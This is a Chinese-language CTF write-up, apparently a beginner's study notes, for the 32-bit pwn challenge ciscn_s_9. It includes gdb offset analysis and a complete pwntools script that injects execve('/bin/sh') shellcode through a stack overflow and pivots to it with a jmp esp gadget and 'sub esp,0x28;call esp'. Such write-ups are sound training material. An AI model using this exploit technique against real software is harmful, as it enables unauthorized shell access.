第三道pwn题 whellcode
创始人
2024-06-02 22:38:02
0

本人是小白,文章仅用于做笔记。欢迎批评指正。

题目来自bilibili星盟安全视频,题目链接如下

链接:https://pan.baidu.com/s/15md86f6uxs6LBzqg3OORgA?pwd=6666

提取码:6666

老规矩先看下文件类型和保护

唔翻车了,是因为python2没有安装pwntools 没有办法,我比较笨,只能安装了。

参考的是这篇文章。

(4条消息) ubuntu20.04 python2 pwntools 环境搭建_python2环境搭建 ubuntu_cwzsquare的博客-CSDN博客

经过半天后:

不可执行保护没有开启,就是说可以向栈上写shellcode

程序的执行过程?

先看下main函数

哦,去了pwn执行

那可就看下pwn

视频上下断点至leave也就是pwn最后

值得注意的是下边的hint函数:jmp esp

那就是说可以跳转到栈上执行,好大体思路有了。

看下ida分析的对不对

去gdb调试下

gdb ciscn_s_9

下断点至

0x0804854F

b *0x0804854F 

r运行后

用python

'a'*0x20+'b'*0x4

打印24个字母,四个b用来覆盖ebp,回车后可以查看ebp发现是4个b还有一个\n(回车)

这个回车是我们输入的,但是在写脚本的时候是没有回车的,所以0x24个字节可以覆盖到ebp再往后就是返回地址了。

他这个栈大概是这样分布的,我们最后要写成这个样子。

我们先填充shellcode,然后将返回地址覆盖成jmp esp这条指令的地址,那也就是说在返回的时候会执行esp所指向的指令,这个时候esp在返回地址下边,我们想让他执行shellcode就要让他往上跑,就是经过之前的分析,我们知道他距离shellcode是0x28,所以2我们在返回地址后边写

sub esp,0x28;call esp

这样这道题差不多就就解决了,但是我比较笨,抄答案没有抄写对,视频给的答案是远程连接的,我不会,我就改成本地的了,视频中的shellcode在本地不知道为啥打不通,还好师教我动态调试,我才知道是shellcode的问题

经过痛苦的折磨后。

终于:

from pwn import *
context(os='linux',terminal = ['tmux', 'sp', '-h'])p = process('./ciscn_s_9')
#pause()
#shellcode ='''
#xor    eax,eax
#push   0x0068732f
#push   0x6e69622f
#mov    ebx,esp
#mov    al,0xb
#int    0x80
#'''
shellcode='''
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor eax,eax
mov al,0xb
int 0x80
'''
shellcode =asm(shellcode)     #使用shellcraft.sh打不通,估计是因为太长了
shell='''sub esp,0x28;call esp'''
shell =asm(shell)
print(shell)
p.recvuntil(b'>\n')
payload = shellcode.ljust(0x24,b"\x90")
payload += p32(0x08048554)     #jmp esp
payload += shell#gdb.attach(p)
p.sendline(payload)
p.interactive()
~                                                                                                                                                                                                          
~                                                                                                                                                                                                          
~                                                                                                                                                                                                          
~                                          

该题主要是不像上一道题可以直接call到栈中执行,而是需要我们自己调整ip

主要思路就是将返回地址覆盖位jmp esp指令的地址,再在该指令后边写指令使esp指向刚刚填写的shellcode,就是减0x28,仅仅执行时不会执行的,该需要call下。这样就可以打通了。

而sub esp,0x28;call esp好像正好是4个字节,也就是一层栈。所以减0x28,可以跳转到刚刚写的shellcode,就可以打通了。

相关内容

热门资讯

【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
AsusVivobook无法开... 首先,我们可以尝试重置BIOS(Basic Input/Output System)来解决这个问题。...
ASM贪吃蛇游戏-解决错误的问... 要解决ASM贪吃蛇游戏中的错误问题,你可以按照以下步骤进行:首先,确定错误的具体表现和问题所在。在贪...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...